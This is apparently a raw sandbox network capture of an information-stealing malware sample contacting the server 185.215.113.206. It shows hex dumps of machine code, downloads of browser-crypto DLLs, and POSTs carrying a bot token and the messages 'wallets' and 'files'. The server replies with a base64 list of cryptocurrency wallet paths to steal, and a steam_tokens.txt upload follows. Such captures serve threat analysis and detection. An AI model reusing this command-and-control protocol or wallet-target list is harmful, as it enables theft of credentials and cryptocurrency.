Dec 20, 2024 16:06:52.643157005 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 20, 2024 16:06:52.643289089 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Dec 20, 2024 16:06:52.643301964 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Dec 20, 2024 16:06:52.643323898 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Dec 20, 2024 16:06:52.643337965 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Dec 20, 2024 16:06:52.643572092 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Dec 20, 2024 16:06:52.643584967 CET	992	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Dec 20, 2024 16:06:52.646251917 CET	1236	IN	Data Raw: ff ff ff 8b 4d d4 01 c1 8b 42 54 89 85 44 ff ff ff 8b 5d cc 11 c3 8b 95 48 ff ff ff 01 d1 89 4d d4 8b 7d ac 11 fb 89 5d cc 8b 75 a0 31 de 89 75 a0 8b 9d 50 ff ff ff 31 cb 8b 45 c4 01 f0 8b 75 bc 11 de 89 75 bc 89 d1 31 c1 89 c2 31 f7 89 ce 0f a4 Data Ascii: MBTD]HM}]u1uP1Euu11}tOX EO\H}EE}1M1EMU}}1M1\|MtJ`ERdM\E
Dec 20, 2024 16:06:52.646480083 CET	1236	IN	Data Raw: 11 c1 89 4d e4 31 ce 8b 4d b0 31 f9 89 ca 0f a4 f2 10 0f ac f1 10 8b 75 c4 01 ce 89 75 c4 89 cf 8b 4d bc 11 d1 89 4d bc 31 c8 31 f3 89 c6 0f a4 de 01 89 b5 28 ff ff ff 0f a4 c3 01 89 5d 90 8b 75 b4 03 b5 0c ff ff ff 8b 4d c8 13 8d 10 ff ff ff 8b Data Ascii: M1M1uuMM11(]uM]MM1U1}MMEE1}1UuUM1U1uU]]MM11M}}E\|
Dec 20, 2024 16:06:54.118076086 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 20, 2024 16:06:54.555083990 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:06:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 20, 2024 16:06:55.402430058 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 20, 2024 16:06:55.839062929 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:06:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 20, 2024 16:06:56.552150011 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 20, 2024 16:06:56.992100954 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:06:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 20, 2024 16:07:00.131773949 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 20, 2024 16:07:00.568106890 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:07:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 20, 2024 16:07:01.178128004 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 20, 2024 16:07:01.618078947 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:07:01 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 20, 2024 16:07:02.271284103 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDHDGHJEBGIDGDGIJJK Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:07:03.492876053 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:07:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 16:07:03.563266993 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:07:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 16:07:03.978024960 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHIIJDGHCBFIECBKEGH Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="message"wallets------BGHIIJDGHCBFIECBKEGH--
Dec 20, 2024 16:07:04.417030096 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:07:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 20, 2024 16:07:04.419754028 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIDAFBFBKFHJJKEHIEG Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 2d 2d 0d 0a Data Ascii: ------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="message"files------KFIDAFBFBKFHJJKEHIEG--
Dec 20, 2024 16:07:04.858298063 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:07:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 16:07:04.874005079 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="file"------GDHCGDGIEBKJKFHJJKFC--
Dec 20, 2024 16:07:05.808821917 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:07:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 16:07:05.838829994 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJJEBFCGDAKFIEBAAFB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4a 45 42 46 43 47 44 41 4b 46 49 45 42 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4a 45 42 46 43 47 44 41 4b 46 49 45 42 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4a 45 42 46 43 47 44 41 4b 46 49 45 42 41 41 46 42 2d 2d 0d 0a Data Ascii: ------KKJJEBFCGDAKFIEBAAFBContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------KKJJEBFCGDAKFIEBAAFBContent-Disposition: form-data; name="message"ybncbhylepme------KKJJEBFCGDAKFIEBAAFB--
